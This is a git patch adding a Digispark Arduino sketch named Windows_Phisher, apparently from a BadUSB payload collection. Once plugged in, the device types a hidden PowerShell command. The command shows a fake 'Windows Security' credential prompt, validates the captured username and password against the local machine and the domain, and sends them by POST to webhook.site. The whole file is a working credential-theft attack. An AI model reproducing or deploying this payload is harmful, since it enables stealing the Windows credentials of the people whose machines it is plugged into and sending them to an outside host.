From 179a16bd7f700f3a399fbe20be183eff341a563b Mon Sep 17 00:00:00 2001 From: Muhammad Talha Khan Date: Fri, 22 Feb 2019 22:43:25 +0500 Subject: [PATCH] Create Windows_Phisher.ino --- payloads/Windows Phisher/Windows_Phisher.ino | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 payloads/Windows Phisher/Windows_Phisher.ino diff --git a/payloads/Windows Phisher/Windows_Phisher.ino b/payloads/Windows Phisher/Windows_Phisher.ino new file mode 100644 index 0000000..2eeb4a8 --- /dev/null +++ b/payloads/Windows Phisher/Windows_Phisher.ino @@ -0,0 +1,19 @@ +#include "DigiKeyboard.h" +void setup() { + pinMode(1, OUTPUT); //LED on Model A +} +void loop() { + DigiKeyboard.update(); + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(3000); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run + DigiKeyboard.delay(100); + DigiKeyboard.println("powershell -noexit -command \"mode con cols=18 lines=1\""); //smallest window possible + DigiKeyboard.delay(500); + DigiKeyboard.println(F("PowerShell.exe -windowstyle hidden {Start-Sleep -s 60;Add-Type -assemblyname system.DirectoryServices.accountmanagement;$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine);$domainDN = \"LDAP://\" + ([ADSI]"").distinguishedName;while($true){$credential = $host.ui.PromptForCredential(\"Windows Security\", \"Enter your credentials\", \"\", \"\");if($credential){$creds = $credential.GetNetworkCredential();[String]$user = $creds.username;[String]$pass = $creds.password;[String]$domain = $creds.domain;$authlocal = $DS.ValidateCredentials($user, $pass);$authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass);if(($authlocal -eq $true) -or ($authdomain.name -ne $null)){$script:pastevalue = \"Username: \" + $user + \" Password: \" + $pass + \" Domain:\" + $domain + \" Domain:\"+ $authdomain.name;break}}};Invoke-WebRequest -Uri https://webhook.site/ -Method POST -Body $pastevalue}")); //payload + DigiKeyboard.delay(200); + digitalWrite(1, HIGH); //turn on led when program finishes + DigiKeyboard.delay(90000); + digitalWrite(1, LOW); + DigiKeyboard.delay(5000); +}